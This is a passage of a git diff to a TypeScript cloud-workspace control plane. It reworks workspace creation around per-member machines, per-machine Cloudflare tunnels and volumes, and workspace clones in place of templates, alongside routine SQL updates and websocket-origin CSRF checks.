? "" : "s"} using this template first: ${names}`, - ); - } - // Auto-clear the org-default pointer, not 409: deleting the template - // plainly means "no longer the default". The 409 above stays reserved for - // dependent entities that would break, like recipes. - await rows(runtime.db, { - q: `UPDATE orgs SET default_template_id = NULL - WHERE id = ?1 AND default_template_id = ?2`, - v: [principal.orgId, template.id], - }); - await rows(runtime.db, { - q: "DELETE FROM workspace_template_repos WHERE template_id = ?1", - v: [template.id], - }); - await rows(runtime.db, { - q: "DELETE FROM workspace_template_folders WHERE template_id = ?1", - v: [template.id], - }); - await rows(runtime.db, { - q: "DELETE FROM workspace_template_connections WHERE template_id = ?1", - v: [template.id], - }); - await rows(runtime.db, { - q: "DELETE FROM workspace_templates WHERE id = ?1", - v: [template.id], - }); - return context.body(null, 204); - }); -} diff --git a/packages/control-plane/core/workspace-tunnels.ts b/packages/control-plane/core/workspace-tunnels.ts index 9d74de97..b3696727 100644 --- a/packages/control-plane/core/workspace-tunnels.ts +++ b/packages/control-plane/core/workspace-tunnels.ts @@ -18,6 +18,8 @@ export interface WorkspaceTunnelsEnv { WEBAPP_TOKEN_SECRET?: string; } +/** A machine's Cloudflare identifiers. Named for the surface, not the table: + * the tunnel is still the workspace webApp surface, it is just per machine. */ export interface WorkspaceTunnelRow { id: string; tunnel_id: string | null; @@ -53,28 +55,31 @@ export class WorkspaceTunnels { this.fetcher = fetcher; } - hostnameFor(workspaceId: string): string { - return `ws-${workspaceId}.${this.zone}`; + hostnameFor(machineId: string): string { + return `ws-${machineId}.${this.zone}`; } async webAppTokenFor(workspaceId: string): Promise { return this.auth.tokenFor(workspaceId); } - /** Creates tunnel + DNS for the workspace and persists the identifiers on - * its row immediately, so a later crash can never orphan them. */ - async provision(db: Db, workspaceId: string): Promise { - const hostname = this.hostnameFor(workspaceId); + /** Creates tunnel + DNS for one MACHINE and persists the identifiers on its + * row immediately, so a later crash can never orphan them. The hostname is + * per machine because a workspace holds one VM per member and two of them + * cannot answer on one name; the webApp token stays per workspace, because + * that is what the guest gateway verifies against. */ + async provision(db: Db, machineId: string, workspaceId: string): Promise { + const hostname = this.hostnameFor(machineId); const created = await this.client.createForWorkspace( - `ws-${workspaceId}`, + `ws-${machineId}`, hostname, ); await rows(db, { - q: `UPDATE workspaces + q: `UPDATE machines SET tunnel_id = ?1, tunnel_hostname = ?2, dns_record_id = ?3, updated_at = ?4 WHERE id = ?5`, - v: [created.tunnelId, hostname, created.dnsRecordId, Date.now(), workspaceId], + v: [created.tunnelId, hostname, created.dnsRecordId, Date.now(), machineId], }); return { workspaceId, @@ -102,7 +107,7 @@ export class WorkspaceTunnels { } if (assignments.length > 0) { await rows(db, { - q: `UPDATE workspaces SET ${assignments.join(", ")}, updated_at = ?1 + q: `UPDATE machines SET ${assignments.join(", ")}, updated_at = ?1 WHERE id = ?2`, v: [Date.now(), row.id], }); diff --git a/packages/control-plane/core/workspace-volumes.ts b/packages/control-plane/core/workspace-volumes.ts index ccccca62..18ff51c7 100644 --- a/packages/control-plane/core/workspace-volumes.ts +++ b/packages/control-plane/core/workspace-volumes.ts @@ -34,9 +34,9 @@ export function preferredVolumeName(workspaceName: string): string | null { * makes the name unique inside the project without a lookup. */ export function uniqueVolumeName( workspaceName: string, - workspaceId: string, + machineId: string, ): string { - const suffix = workspaceId.slice(0, 8); + const suffix = machineId.slice(0, 8); const base = preferredVolumeName(workspaceName); if (base === null) return `blitz-${suffix}`; return `${base.slice(0, 64 - suffix.length - 1)}-${suffix}`; @@ -51,6 +51,9 @@ export interface WorkspaceVolumeRequest { * so no later path can find it and it bills every month. */ deleteVolume: (id: string) => Promise; workspaceId: string; + /** The volume belongs to one member's machine, so the unique name and the + * ownership row are keyed on it — a workspace holds several now. */ + machineId: string; workspaceName: string; machineTypeId: string; orgId: string; @@ -81,7 +84,7 @@ export async function provisionWorkspaceVolume( const sizeGb = request.sizeGb ?? WORKSPACE_VOLUME_GB; const preferred = preferredVolumeName(request.workspaceName); - const unique = uniqueVolumeName(request.workspaceName, request.workspaceId); + const unique = uniqueVolumeName(request.workspaceName, request.machineId); // The workspace name is what the operator asked to see on the volume, so it // is tried first. A duplicate name is the expected failure, not a rare one, diff --git a/packages/control-plane/core/workspaces.ts b/packages/control-plane/core/workspaces.ts index f5d79216..17b4fcb0 100644 --- a/packages/control-plane/core/workspaces.ts +++ b/packages/control-plane/core/workspaces.ts @@ -1,58 +1,69 @@ -import { boxHostname, type RecipeBootstrap } from "./bootstrap.js"; -import { buildUserData, type BootShaping } from "./cloud-init.js"; -import { enablementManifestJson, parseManifest } from "./connections/manifest.js"; +import type { RecipeBootstrap } from "./bootstrap.js"; +import { + enablementManifestJson, + manifestConnectionNames, + parseManifest, +} from "./connections/manifest.js"; import { agentRuleIdForOrg } from "./agent-rules.js"; import { checkGithubRepositories, probedRepos } from "./connections/github-repo-check.js"; import { githubCallerCredential } from "./connections/github-repositories.js"; import { revokeWorkspaceLeasesQuery } from "./connections/leases.js"; -import { mintWorkspaceConnection, workspaceForMint } from "./connections/mint.js"; -import { connectionByName } from "./connections/registry.js"; -import { hashSecret, matchesStoredHash, randomToken } from "./crypto.js"; +import { matchesStoredHash } from "./crypto.js"; import type { Db } from "./db.js"; import { first, rows, transaction } from "./db.js"; -import { VM_SLOT_PHASES } from "./entitlements.js"; -import { - parseWorkspaceEnvironment, - workspaceEnvironmentFromJson, - storedWorkspaceEnvironment, - WORKSPACE_REQUEST_MAX_BYTES, -} from "./environment.js"; +import { WORKSPACE_REQUEST_MAX_BYTES } from "./environment.js"; import { HttpError, + isBoolean, isRecord, isString, isSshPublicKey, readJson, readText, requiredString, + type JsonValue, } from "./http.js"; -import { issueBoxTokens } from "./oauth.js"; +import { + destroyMachine, + liveMachines, + machineFor, + providerForVmId, + provisionMachine, + type ProvisionMachineInput, +} from "./machines.js"; +import { issueMachineTokens } from "./oauth.js"; import type { Principal } from "./principals.js"; -import { canControlWorkspace, webAppWorkspaceForRequest, workspaceRole } from "./workspace-access.js"; -import { workspaceById, workspaceView, type WorkspaceRow } from "./workspace-records.js"; +import { + isWorkspaceMember, + requireWorkspaceAdmin, + webAppWorkspaceForRequest, + workspaceAccess, +} from "./workspace-access.js"; +import { projectWorkspace, projectWorkspaces } from "./workspace-projection.js"; +import { + machinesForWorkspaces, + workspaceById, + workspacesForOrg, + type MachineRow, + type WorkspaceRow, +} from "./workspace-records.js"; import { randomWorkspaceName } from "./workspace-names.js"; import { - markVolumeAttachedQuery, - markVolumeDetachedQuery, - provisionWorkspaceVolume, -} from "./workspace-volumes.js"; -import type { CreateVmInput, WebAppPort, VmProvider } from "./compute/types.js"; -import { resolveWorkspacePlacement } from "./compute/workspace-placement.js"; + addWorkspaceMember, + activeOrgMember, + parseAddWorkspaceMember, +} from "./workspace-members.js"; +import { putWorkspaceCredential } from "./workspace-credentials.js"; +import type { WebAppPort } from "./compute/types.js"; import { isWebAppSurfacePath } from "./webapp-surface.js"; import { rewriteWebDavDestination } from "./webapp-proxy.js"; import { requireWorkspaceWebAppAuth, WEBAPP_TOKEN_HEADER } from "./webapp-tickets.js"; import { insertWorkspaceRepos, parseTemplateRepos, - templateRepos, + workspaceRepos, type TemplateRepo, } from "./template-repos.js"; -import { - attachTemplateFolders, - templateConnections, - templateWorkspaceName, - workspaceTemplateForCreate, -} from "./workspace-templates.js"; import { runReadyWorkspaceFileSync, scheduleSync } from "./files/sync.js"; import { enforceRateLimit, @@ -62,9 +73,11 @@ import { type RuntimeFactory, } from "./runtime.js"; import type { + AddWorkspaceMemberRequest, CreateWorkspaceRequest, CreateWorkspaceResponse, PollResponse, + WorkspaceRole, } from "./wire.js"; export type { WorkspaceRow } from "./workspace-records.js"; @@ -105,29 +118,63 @@ export interface PhoneHomeResponse { webapp_token?: string; } +type CreateWorkspaceCredential = NonNullable[number]; -function providerForVmId(runtime: CoreRuntime, vmId: string): VmProvider { - const provider = runtime.providers.vmRegistry.forVmId(vmId); - if (provider === undefined) { - throw new HttpError(409, `no VM provider owns VM ID ${vmId}`); - } - return provider; +function parseCreateMembers(value: JsonValue): AddWorkspaceMemberRequest[] { + if (!Array.isArray(value)) throw new HttpError(400, "members must be an array"); + return value.map((entry) => parseAddWorkspaceMember(entry)); +} + +function parseCreateCredentials(value: JsonValue): CreateWorkspaceCredential[] { + if (!Array.isArray(value)) throw new HttpError(400, "credentials must be an array"); + return value.map((entry, index) => { + if (!isRecord(entry)) { + throw new HttpError(400, `credentials[${String(index)}] must be an object`); + } + const result: CreateWorkspaceCredential = { + name: requiredString(entry.name, `credentials[${String(index)}].name`, 128), + value: requiredString(entry.value, `credentials[${String(index)}].value`, 8 * 1024), + }; + if (entry.label !== undefined && entry.label !== null) { + result.label = requiredString(entry.label, `credentials[${String(index)}].label`, 128); + } + return result; + }); } function parseCreateWorkspace(value: unknown): CreateWorkspaceRequest { if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); const result: CreateWorkspaceRequest = {}; - if (value.templateId !== undefined) { - result.templateId = requiredString(value.templateId, "templateId", 256); + if (value.templateId !== undefined && value.templateId !== null) { + // The template object is gone: a workspace is its own template, and "new + // workspace from existing" is `cloneFromWorkspaceId`. Refused rather than + // ignored, so a caller learns what happened instead of quietly getting a + // workspace with none of the config they asked for. + throw new HttpError( + 400, + "workspace templates were replaced by workspace clones; send cloneFromWorkspaceId", + ); } - if (value.machineTypeId !== undefined || result.templateId === undefined) { - result.machineTypeId = requiredString(value.machineTypeId, "machineTypeId", 256); + if (value.cloneFromWorkspaceId !== undefined && value.cloneFromWorkspaceId !== null) { + result.cloneFromWorkspaceId = requiredString( + value.cloneFromWorkspaceId, + "cloneFromWorkspaceId", + 256, + ); + } + const machineTypeId = value.defaultMachineTypeId ?? value.machineTypeId; + if (machineTypeId !== undefined || result.cloneFromWorkspaceId === undefined) { + result.defaultMachineTypeId = requiredString(machineTypeId, "defaultMachineTypeId", 256); } - if (value.orgShareRole !== undefined && value.orgShareRole !== null) { - if (value.orgShareRole !== "editor" && value.orgShareRole !== "viewer") { - throw new HttpError(400, "orgShareRole must be editor or viewer"); + if (value.autoProvision !== undefined) { + if (!isBoolean(value.autoProvision)) { + throw new HttpError(400, "autoProvision must be a boolean"); } - result.orgShareRole = value.orgShareRole; + result.autoProvision = value.autoProvision; + } + if (value.members !== undefined) result.members = parseCreateMembers(value.members); + if (value.credentials !== undefined) { + result.credentials = parseCreateCredentials(value.credentials); } if (value.name !== undefined) { const name = isString(value.name) @@ -165,9 +212,6 @@ function parseCreateWorkspace(value: unknown): CreateWorkspaceRequest { result.connections = [...new Set(value.connections.map((entry, index) => requiredString(entry, `connections[${String(index)}]`, 64)))]; } - if (value.environment !== undefined) { - result.environment = parseWorkspaceEnvironment(value.environment); - } if (value.agentRuleId !== undefined) { if (!(value.agentRuleId === null || isString(value.agentRuleId))) { throw new HttpError(400, "agentRuleId must be a string or null"); @@ -175,16 +219,14 @@ function parseCreateWorkspace(value: unknown): CreateWorkspaceRequest { result.agentRuleId = value.agentRuleId; } if (value.repos !== undefined) { - // Same validator the template save runs: "owner/name", a cap of sixteen, - // and no two repos that would clone into one /workspace directory. const repos = parseTemplateRepos(value.repos); if (repos.length > 0) { - if (result.templateId !== undefined) { - // Refused rather than resolved. A template's repos describe a starting - // point a team shares and a request's describe a one-off, so picking a - // winner here would turn one UI bug into a clone list nobody can - // explain from the request that produced it. - throw new HttpError(400, "repos cannot be combined with templateId"); + if (result.cloneFromWorkspaceId !== undefined) { + // Refused rather than resolved, exactly as a template create was: a + // clone's repos describe the starting point a team shares and a + // request's describe a one-off, so picking a winner here would turn + // one UI bug into a clone list nobody can explain. + throw new HttpError(400, "repos cannot be combined with cloneFromWorkspaceId"); } result.repos = repos; } @@ -218,30 +260,6 @@ async function readOptionalJson(request: Request): Promise { return { sshPublicKey }; } -async function markCreateError( - db: Db, - id: string, - message: string, - now: number, -): Promise { - await rows(db, { - q: `UPDATE workspaces - SET phase = 'error', error = ?1, phone_home_hash = NULL, - revision = revision + 1, updated_at = ?2 - WHERE id = ?3 AND phase = 'creating'`, - v: [message, now, id], - }); - const row = await workspaceById(db, id); - if (row === null) throw new Error("workspace disappeared during create"); - return row; -} - -function providerOperationError(error: unknown): string { - if (!(error instanceof Error)) return "provider operation failed"; - const detail = error.message.replace(/[\u0000-\u001f\u007f]+/gu, " ").trim(); - return detail === "" ? "provider operation failed" : `provider operation failed: ${detail}`; -} - function canonicalFieldForLegacyHostKey( hostKey: string, ): "pub_key_ecdsa" | "pub_key_ed25519" | "pub_key_rsa" { @@ -392,27 +410,13 @@ export function createPhoneHomeResponse( * * A box writes the control-plane origin into /var/lib/blitz/origin once, at * creation, and never updates it. Its gateway then refuses a websocket whose - * Origin does not equal that string exactly. Moving the app to a new domain - * therefore broke every workspace created before the move: plain requests kept - * working, because the gateway only downgrades CORS headers for those, while - * every websocket answered 403. Terminals and chat hung with no server-side - * error to find, because the box was behaving correctly. - * - * The gateway also accepts a localhost origin unconditionally, so the proxy - * presents that instead of the browser's. The CSRF protection the box's check - * provided is not lost — assertWebSocketOrigin below enforces it here, before - * the request is ever forwarded, and it is stricter: it requires an exact - * match where the old path accepted anything the box happened to be told. + * Origin does not equal that string exactly. The gateway also accepts a + * localhost origin unconditionally, so the proxy presents that instead of the + * browser's, and `assertWebSocketOrigin` below enforces the CSRF check here + * where it is stricter. */ const BOX_ACCEPTED_ORIGIN = "http://localhost"; -/** - * Rejects a websocket upgrade that did not come from this deployment. - * - * A websocket carries cookies cross-site and is not subject to CORS, so this - * is the CSRF gate for every box surface reached through the proxy. It runs - * before any credential is minted. - */ function assertWebSocketOrigin(request: Request, requestURL: URL): void { if (!isWebSocketUpgrade(request)) return; const origin = request.headers.get("origin"); @@ -431,8 +435,6 @@ function requestWithWebAppCredential( const headers = new Headers(request.headers); headers.set(WEBAPP_TOKEN_HEADER, credential); rewriteWebDavDestination(headers, requestURL, workspaceId, port); - // Only for the upgrade: a plain request needs no rewrite, and leaving its - // Origin alone keeps the box's CORS answer truthful. if (isWebSocketUpgrade(request)) headers.set("origin", BOX_ACCEPTED_ORIGIN); return new Request(request, { headers }); } @@ -449,14 +451,33 @@ export interface RecipeLaunch { bootstrap: RecipeBootstrap; } -/** The one workspace-create path. POST /workspaces and POST - * /workspace-recipes/:id/launch both land here, so a recipe launch rides the exact - * template flows — machine-type default, environment, agent rule, folder - * attach with the launcher as principal, and the vm_limit 409 — instead of a - * parallel copy. Returns the created row, which may already be in phase - * 'error' when the provider call failed; request-shaped failures (quota 409, - * oversized user data 413, provider 503) throw exactly as the route always - * has. */ +/** The workspace whose config a create clones, or null. Members and + * credential VALUES never come across (§ wire types): a clone is a template, + * not a copy of somebody else's team or secrets. */ +async function cloneSource( + db: Db, + cloneFromWorkspaceId: string | undefined, + orgId: string, +): Promise { + if (cloneFromWorkspaceId === undefined) return null; + const source = await workspaceById(db, cloneFromWorkspaceId); + if (source === null || source.org_id !== orgId || source.deleted_at !== null) { + throw new HttpError(404, "workspace to clone was not found"); + } + return source; +} + +/** + * The one workspace-create path. + * + * It writes a configuration row and no VM. Machines come afterwards, one per + * member the request named plus the creator, each through `provisionMachine` + * and each subject to the `vm_limit` gate — which is why the quota now + * refuses the eleventh MACHINE rather than the eleventh workspace. + * + * Workspace creation is org-admin only for now (§3). A later revision can + * open it; opening it is a one-line change here and nowhere else. + */ export async function performWorkspaceCreate( runtime: CoreRuntime, principal: Principal, @@ -469,39 +490,24 @@ export async function performWorkspaceCreate( if (orgId === null || membershipId === null) { throw new HttpError(403, "active membership required"); } - const template = input.templateId === undefined - ? null - : await workspaceTemplateForCreate(runtime.db, input.templateId, orgId); - // The template's machine type is the default; an explicit machineTypeId - // in the request still wins so a template create can be customized. - const machineTypeId = input.machineTypeId ?? template?.machine_type_id; - if (machineTypeId === undefined) { - throw new HttpError(400, "machineTypeId is required"); + if (principal.role !== "admin") { + throw new HttpError(403, "organization admin required to create a workspace"); + } + const source = await cloneSource(runtime.db, input.cloneFromWorkspaceId, orgId); + const defaultMachineTypeId = input.defaultMachineTypeId + ?? source?.default_machine_type_id; + if (defaultMachineTypeId === undefined) { + throw new HttpError(400, "defaultMachineTypeId is required"); } - const environment = input.environment - ?? workspaceEnvironmentFromJson(template?.environment ?? null); - // The request wins, then the template's rule, then null — which the box - // read resolves to the built-in doc. Resolved once, at create, so the - // workspace keeps the rule it started with even if the template moves on. const agentRuleId = input.agentRuleId === undefined - ? template?.agent_rule_id ?? null + ? source?.agent_rule_id ?? null : await agentRuleIdForOrg(runtime.db, input.agentRuleId, orgId); - // Enablement, not provisioning: a template names providers, the creator - // supplies the identity, and the workspace ceiling records what may mint. - const templateConnectionList = template === null - ? [] - : await templateConnections(runtime.db, template.id); - // A workspace clones the template's repos or the ones the request named, - // never a merge of the two — the request parser already refused a body that - // carried both, so this is a choice with nothing left to arbitrate. Template - // rows arrive with the privacy a save probed; a request list arrives as bare - // names, so its privacy is derived here rather than believed. const requestedRepos = input.repos ?? []; const requestCredential = requestedRepos.length === 0 ? null : await githubCallerCredential(runtime, principal.id); - const repos: TemplateRepo[] = template !== null - ? await templateRepos(runtime.db, template.id) + const repos: TemplateRepo[] = source !== null + ? await workspaceRepos(runtime.db, source.id) : await probedRepos(requestedRepos, requestCredential?.token ?? null); const privateRepos = repos.filter((repo) => repo.private); if (privateRepos.length > 0) { @@ -516,13 +522,11 @@ export async function performWorkspaceCreate( "connect GitHub through the App before creating a workspace with private repositories", ); } - if (template !== null) { - // Only the template path still owes a probe. Its rows record a verdict - // some other member's credential produced, possibly months ago, so this - // member's own reach is still unproven. A request list was probed a few - // lines up with this same credential, and sixteen repos cost two - // subrequests each — asking GitHub twice would spend a Worker's whole - // subrequest allowance to learn nothing new. + if (source !== null) { + // Only the clone path still owes a probe. Its rows record a verdict some + // other member's credential produced, so this member's own reach is + // unproven; a request list was probed a few lines up with this same + // credential. const checks = await checkGithubRepositories( privateRepos.map(({ repo }) => repo), credential.token, @@ -540,290 +544,142 @@ export async function performWorkspaceCreate( } } } - // Creation never mints a connection. The names land in the allow-list below, - // and an agent pulls a credential when it needs one. Minting here used to - // leave a live proxy lease token nobody held, which is a capability with no - // holder. A stipulated provider with no grant behind it still creates unless - // a private template repo requires GitHub during bootstrap. + // A clone inherits the source's stipulated providers: the ceiling is part of + // the config a workspace carries, exactly as a template's provider list was. + // Creation never mints — the names land in the allow-list and an agent pulls + // a credential when it needs one. const requested = [...new Set([ - ...templateConnectionList.map(({ provider }) => provider), + ...(source === null ? [] : manifestConnectionNames(source.manifest)), ...(input.connections ?? []), // Cloning reads through the baked git credential helper, which mints from - // the workspace ceiling. Naming repos therefore stipulates github, exactly - // as naming them on a template does — idempotent, since a template that - // carries repos already lists it. + // the workspace ceiling, so naming repos stipulates github. ...(repos.length > 0 ? ["github"] : []), ])]; - const vmResolution = await resolveWorkspacePlacement( - runtime.db, - runtime.providers.vmRegistry, - orgId, - machineTypeId, - input.volumeId, - ); - const vmProvider = vmResolution.provider; - const providerCapabilities = vmProvider.capabilities(); - // Usage capture is an org switch, not a recipe one: every workspace of a - // capturing org boots with the transcript mounts so its runs join the - // corpus (plans/RECIPES.md, decision 4). - const orgCapture = await first<{ usage_capture: number }>(runtime.db, { - q: "SELECT usage_capture FROM orgs WHERE id = ?1 LIMIT 1", - v: [orgId], - }); - const shaping: BootShaping = { - usageCapture: orgCapture?.usage_capture === 1, - }; - // Ask the provider that will own this VM for its own bootstrap lines. A - // provider that answers nothing gets a script with no other provider's lines - // in it (plans/PROVIDER-BOOTSTRAP.md). - const providerAptSetup = vmProvider.bootstrapAptSetup?.(); - if (providerAptSetup !== undefined) shaping.providerAptSetup = providerAptSetup; - if (recipe !== undefined) shaping.recipe = recipe.bootstrap; - // Template repos ride the bootstrap as a detached clone loop; an empty - // list stays absent so the emitted bytes match every pre-repo pin. - if (repos.length > 0) shaping.repos = repos.map(({ repo }) => repo); const id = crypto.randomUUID(); - const capability = randomToken(); const now = Date.now(); - const phoneHomeUrl = `${requestOrigin}/workspaces/${id}/phone-home/${capability}`; - const name = input.name ?? (template === null - ? randomWorkspaceName() - : await templateWorkspaceName(runtime.db, orgId, template.name)); - // Claude's Remote Control names its target after the box hostname. Give the - // box the workspace name. Without it every workspace shows the same hex - // container id in claude.ai/code, and a person cannot pick one. The boot - // script renders once, here. A later rename does not reach the box. - shaping.boxHostname = boxHostname(name, id); - - const inserted = await rows(runtime.db, { + const name = input.name ?? randomWorkspaceName(); + await rows(runtime.db, { q: `INSERT INTO workspaces - (id, name, owner_id, org_id, owner_membership_id, machine_type_id, - phase, revision, volume_id, phone_home_hash, manifest, org_share_role, - environment, agent_rule_id, recipe_id, compute_credential_source, + (id, name, owner_id, org_id, owner_membership_id, default_machine_type_id, + auto_provision, revision, manifest, agent_rule_id, recipe_id, created_at, updated_at) - SELECT ?1, ?2, ?3, ?4, ?5, ?6, 'creating', 1, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?15 - WHERE ( - SELECT COUNT(*) FROM workspaces - WHERE org_id = ?4 AND phase IN (${VM_SLOT_PHASES}) - ) < (SELECT vm_limit FROM orgs WHERE id = ?4) - RETURNING id`, + VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, 1, ?8, ?9, ?10, ?11, ?11)`, v: [ id, name, principal.id, orgId, membershipId, - machineTypeId, - input.volumeId ?? null, - await hashSecret(capability), + defaultMachineTypeId, + input.autoProvision === false ? 0 : 1, enablementManifestJson(input.manifest, requested), - input.orgShareRole ?? null, - storedWorkspaceEnvironment(environment ?? undefined), agentRuleId, recipe?.recipeId ?? null, - vmResolution.credentialSource, now, ], }); - if (inserted.length !== 1) { - throw new HttpError( - 409, - "organization workspace quota reached; destroy an existing workspace before creating another", - ); - } - if (template !== null) { - await attachTemplateFolders(runtime.db, template.id, id, principal, now); + await insertWorkspaceRepos(runtime.db, id, repos); + // The creator is the first workspace admin, always, and never needs a row in + // members[] to say so. + await rows(runtime.db, { + q: `INSERT INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) + VALUES (?1, ?2, 'admin', ?2, ?3)`, + v: [id, membershipId, now], + }); + // The one path where a credential VALUE is sent. Written before any machine + // boots, so the first `blitz-cred get` inside the workspace already answers. + for (const credential of input.credentials ?? []) { + await putWorkspaceCredential(runtime, id, membershipId, credential, now); } - // Declared out here so the catch below can reclaim a volume whose workspace - // never reached a VM. It bills monthly and nothing else can reach it. - let autoVolumeId: string | undefined; + const workspace = await workspaceById(runtime.db, id); + if (workspace === null) throw new Error("workspace disappeared during create"); + + // Membership at create is exactly what the caller named — the members editor + // is the only control there is. + const members: AddWorkspaceMemberRequest[] = [...(input.members ?? [])] + .filter((member) => member.membershipId !== membershipId); + + const creatorMachine: ProvisionMachineInput = { + workspace, + membershipId, + machineTypeId: defaultMachineTypeId, + requestOrigin, + }; + if (input.sshPublicKey !== undefined) creatorMachine.sshPublicKey = input.sshPublicKey; + if (input.userData !== undefined) creatorMachine.userData = input.userData; + if (input.volumeId !== undefined) creatorMachine.volumeId = input.volumeId; + if (recipe !== undefined) creatorMachine.recipe = recipe.bootstrap; try { - // The size check runs on a tunnel-less build so a 413 always fires - // before any Cloudflare resource exists (the deleted row then owes - // nothing). The token install part we append afterwards is small - // and ours; a razor-edge overflow webApps as a provider error and - // the janitor reclaims the tunnel. - const baseUserData = buildUserData( - input.sshPublicKey, - phoneHomeUrl, - runtime.vars.boxImageRef, - input.userData, - runtime.vars.boxImageTag, - runtime.vars.boxImageSha256, - undefined, - shaping, - ); - const maxUserDataBytes = providerCapabilities.maxUserDataBytes ?? null; - if (maxUserDataBytes !== null) { - const encoder = new TextEncoder(); - const callerBytes = encoder.encode(input.userData ?? "").byteLength; - const totalBytes = encoder.encode(baseUserData).byteLength; - const generatedBytes = totalBytes - callerBytes; - if (totalBytes > maxUserDataBytes) { - throw new HttpError( - 413, - `userData exceeds the provider limit: caller UTF-8 bytes ${callerBytes} + generated bootstrap bytes ${generatedBytes} = ${totalBytes} > ${maxUserDataBytes}`, - ); - } + if (workspace.auto_provision === 1) { + await provisionMachine(runtime, creatorMachine); } - // The workspace's own disk. It holds /var/lib/blitz, which is the docker - // store and /workspace both, so a destroyed workspace can come back on it. - // An explicit volumeId from the caller wins. A provider that cannot place - // a volume answers null, and the workspace runs on the VM's own disk - // exactly as it did before. - const autoVolume = input.volumeId !== undefined - ? null - : await provisionWorkspaceVolume({ - db: runtime.db, - provider: vmProvider, - createVolume: async (volumeName, sizeGb, location) => { - const resolved = await runtime.providers.volume.forOrg( - orgId, - vmResolution.credentialSource, - ); - return resolved.provider.createVolume({ - name: volumeName, - sizeGb, - location, - }); - }, - deleteVolume: async (volumeId) => { - const resolved = await runtime.providers.volume.forOrg( - orgId, - vmResolution.credentialSource, - ); - await resolved.provider.deleteVolume(volumeId); - }, - workspaceId: id, - workspaceName: name, - machineTypeId, - orgId, - membershipId, - credentialSource: vmResolution.credentialSource, - now: Date.now(), - }); - if (autoVolume !== null) { - autoVolumeId = autoVolume.id; - await rows(runtime.db, { - q: `UPDATE workspaces SET volume_id = ?1, updated_at = ?2 - WHERE id = ?3 AND phase = 'creating'`, - v: [autoVolume.id, Date.now(), id], - }); - } - const volumeId = input.volumeId ?? autoVolume?.id; - // Providers that cannot proxy their own webApp endpoints (cloud VMs) get a - // per-workspace tunnel; identifiers persist onto the row before the - // VM exists so a crash can never orphan Cloudflare resources. - const workspaceTunnels = runtime.providers.workspaceTunnels; - const tunnel = workspaceTunnels !== undefined && vmProvider.proxyWebApp === undefined - ? await workspaceTunnels.provision(runtime.db, id) - : undefined; - const userData = tunnel === undefined - ? baseUserData - : buildUserData( - input.sshPublicKey, - phoneHomeUrl, - runtime.vars.boxImageRef, - input.userData, - runtime.vars.boxImageTag, - runtime.vars.boxImageSha256, - tunnel, - shaping, - ); - // A provider that attaches during create hands the guest a disk that is - // already present at first boot. The bootstrap scans /dev/disk/by-id once, - // with no retry, so attaching afterwards raced that scan and could leave - // the box with no persistent disk and no error. - const attachesAtCreate = providerCapabilities.attachesVolumesAtCreate === true; - const createInput: CreateVmInput = { - workspaceId: id, - machineTypeId, - sshPublicKey: input.sshPublicKey, - phoneHomeUrl, - userData, - }; - if (attachesAtCreate && volumeId !== undefined) createInput.volumeIds = [volumeId]; - const vm = await vmProvider.createVm(createInput); - await rows(runtime.db, { - q: `UPDATE workspaces - SET vm_id = ?1, updated_at = ?2 - WHERE id = ?3 AND phase = 'creating'`, - v: [vm.id, Date.now(), id], - }); - if (volumeId !== undefined && !attachesAtCreate) { - const volume = await runtime.providers.volume.forOrg( - orgId, - vmResolution.credentialSource, - ); - await volume.provider.attachVolume(volumeId, vm.id); - } - if (volumeId !== undefined) { - // A reused volume is live again, so its retention clock stops. - await rows(runtime.db, markVolumeAttachedQuery(volumeId)); - } - await rows(runtime.db, { - q: `UPDATE workspaces - SET ssh_host = ?1, ssh_port = ?2, ssh_user = ?3, - revision = revision + 1, updated_at = ?4 - WHERE id = ?5 AND phase = 'creating'`, - v: [vm.host, vm.port, vm.user, Date.now(), id], - }); } catch (error) { - // The workspace never got a VM, so its auto-created volume holds nothing - // and no later path can reach it. Leaving it behind bills every month. - if (autoVolumeId !== undefined) { - try { - const resolved = await runtime.providers.volume.forOrg( - orgId, - vmResolution.credentialSource, - ); - await resolved.provider.deleteVolume(autoVolumeId); - await transaction(runtime.db, [ - { - q: "DELETE FROM volume_ownership WHERE volume_id = ?1 AND org_id = ?2", - v: [autoVolumeId, orgId], - }, - { - q: "UPDATE workspaces SET volume_id = NULL WHERE id = ?1", - v: [id], - }, - ]); - } catch (cleanupError) { - // The volume outlives the failed create. Say so: it bills until an - // operator removes it, and silence here reads as a clean rollback. - runtime.reportError( - "workspace_create_volume_cleanup_failed", - cleanupError instanceof Error - ? cleanupError - : new Error(`volume ${autoVolumeId} survived a failed create`), - ); - } - } - if ( - error instanceof HttpError && - (error.status === 503 || error.status === 413) - ) { - await rows(runtime.db, { - q: "DELETE FROM workspaces WHERE id = ?1 AND phase = 'creating' RETURNING id", - v: [id], - }); - throw error; - } - return markCreateError( - runtime.db, - id, - providerOperationError(error), - Date.now(), - ); + // A quota, a 413 or a 503 means no machine was ever made. The workspace it + // was made for is config with nothing behind it, so it goes too and the + // caller sees the provider's own refusal rather than an empty shell. + await deleteWorkspaceRow(runtime.db, id); + throw error; } - // Recorded only once the VM exists. The 503 and 413 branches above delete - // the workspace row outright, and a child row would hold that delete open; - // an errored create never boots, so it has nothing to clone anyway. - await insertWorkspaceRepos(runtime.db, id, repos); - const row = await workspaceById(runtime.db, id); - if (row === null) throw new Error("workspace disappeared during create"); - return row; + for (const member of members) { + const identity = await activeOrgMember(runtime, orgId, member.membershipId); + if (identity === null) continue; + await addWorkspaceMember(runtime, workspace, membershipId, member, requestOrigin, identity); + } + const created = await workspaceById(runtime.db, id); + if (created === null) throw new Error("workspace disappeared during create"); + return created; +} + +/** Removes a workspace that never got a machine, with its children. */ +async function deleteWorkspaceRow(db: Db, id: string): Promise { + await transaction(db, [ + { q: "DELETE FROM workspace_credentials WHERE workspace_id = ?1", v: [id] }, + { q: "DELETE FROM workspace_members WHERE workspace_id = ?1", v: [id] }, + { q: "DELETE FROM workspace_repos WHERE workspace_id = ?1", v: [id] }, + { q: "DELETE FROM workspaces WHERE id = ?1", v: [id] }, + ]); +} + +/** + * The machine the requesting member reaches through the webApp proxy. + * + * The ticket already carries `membershipId`, so for a member this is a lookup + * and not a choice: they reach their OWN machine, and a workspace with five + * members has five of them. + * + * A viewer is the one exception, and it is not a loophole. Viewers hold no + * machine, ever (§2.2), and what they are entitled to — watching the + * workspace and reading its drive — lives on somebody's guest. They get the + * owner's, 